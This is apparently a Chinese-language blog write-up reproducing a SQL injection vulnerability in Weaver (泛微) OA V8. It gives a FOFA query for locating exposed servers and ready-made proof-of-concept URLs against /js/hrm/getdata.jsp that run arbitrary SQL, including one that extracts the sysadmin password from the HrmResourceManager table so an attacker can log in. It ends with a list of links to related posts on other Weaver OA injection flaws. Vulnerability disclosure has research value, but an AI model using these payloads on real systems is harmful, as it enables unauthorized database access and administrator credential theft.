泛微OA V8 SQL注入漏洞

漏洞描述

泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限

漏洞影响

泛微OA V8

FOFA

app=“泛微-协同办公OA”

漏洞复现

在getdata.jsp中，直接将request对象交给

weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :

方法处理

在getData方法中，判断请求里cmd参数是否为空，如果不为空，调用proc方法

Proc方法4个参数，(“空字符串”,”cmd参数值”,request对象，serverContext对象)

在proc方法中，对cmd参数值进行判断，当cmd值等于getSelectAllId时，再从请求中获取sql和type两个参数值，并将参数传递进getSelectAllIds（sql,type）方法中

根据以上代码流程，只要构造请求参数

?cmd= getSelectAllId&sql=select password as id from userinfo;

在浏览器中，构造测试URL：x.x.x.x

http://x.x.x.x/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select 38438 as id

验证poc：

/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+38438+as+id

即可完成对数据库操控

POC

http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查询HrmResourceManager表中的password字段，页面中返回了数据库第一条记录的值（sysadmin用户的password）

解密后即可登录系统

sysadmin/xxxxx

2021-泛微OA V8 SQL注入漏洞相关推荐

泛微OA V8 SQL注入漏洞和文件上传漏洞
fofa语句 app="泛微-协同办公OA" SQL注入在泛微OA V8中的getdata.jsp文件里,通过gatData方法将数据获取并回显在页面上,而在getData方法中 ...
【漏洞报送】泛微E-Office存在SQL注入漏洞（CNVD-2022-43246）
0x01 泛微E-Office 泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用.高效智能的原则,为企业快速 ...
泛微OA WorkflowCenterTreeData接口注入复现（仅限oracle数据库）
背景 2019年10月10日CNVD发布了泛微e-cology OA系统存在SQL注入漏洞.该漏洞是由于OA系统的WorkflowCenterTreeData接口中涉及Oracle数据库的SQL语句缺 ...
记录泛微OA服务器SQL server 无法开启解决问题
事例背景: OA服务器CPU突然标高,持续不下,一开始以为是被挖矿了,遍历程序没有找到位置或者名字的程序,重启服务器后,用杀毒软件进行了全盘扫描: 服务器:windows 2008 R2 SP1 数据 ...
泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现
漏洞描述泛微e-cology OA系统的WorkflowCenterTreeData接口在使用oracle数据库时,由于内置sql语句拼接不严,导致其存在sql注入漏洞影响范围使用oracle数 ...
漏洞复现泛微OA E-Cology V9 browser.jsp SQL注入漏洞
漏洞复现泛微OA E-Cology V9 browser.jsp SQL注入漏洞漏洞描述泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改 ...
【漏洞复现】泛微OA E-Cology V9 browser.jsp SQL注入漏洞复现及利用(CNVD-2023-12632)
文章目录前言声明一.产品介绍二.漏洞描述三.影响范围四.漏洞分析五.漏洞复现六.SQLMAP漏洞利用七.修复方案前言泛微E-Cology v9 Browser.jsp 存在SQL ...
oracle 权限问题9017,泛微OA 曝出WorkflowCenterTreeData接口注入漏洞(限oracle数据库)
玄蜂安全团队10月10日了解到.泛微OA又双叒叕曝出了一个高危漏洞.其存在点是企业使用Oracle数据库在其系统的WorkflowCenterTreeData接口处会因为内置SQL语句拼接不严导致的一 ...
泛微e-cology9 SQL注入漏洞复现(QVD-2023-5012)
1.产品简介泛微协同管理应用平台e-cology是一套兼具企业信息门户.知识文档管理.工作流程管理.人力资源管理.客户关系管理.项目管理.财务管理.资产管理.供应链管理.数据中心功能的企业大型协同管 ...
泛微E-Cology SQL注入漏洞复现（QVD-2023-15672）
0x01 产品简介泛微协同管理应用平台e-cology是一套兼具企业信息门户.知识文档管理.工作流程管理.人力资源管理.客户关系管理.项目管理.财务管理.资产管理.供应链管理.数据中心功能的企业大型 ...

2021-泛微OA V8 SQL注入漏洞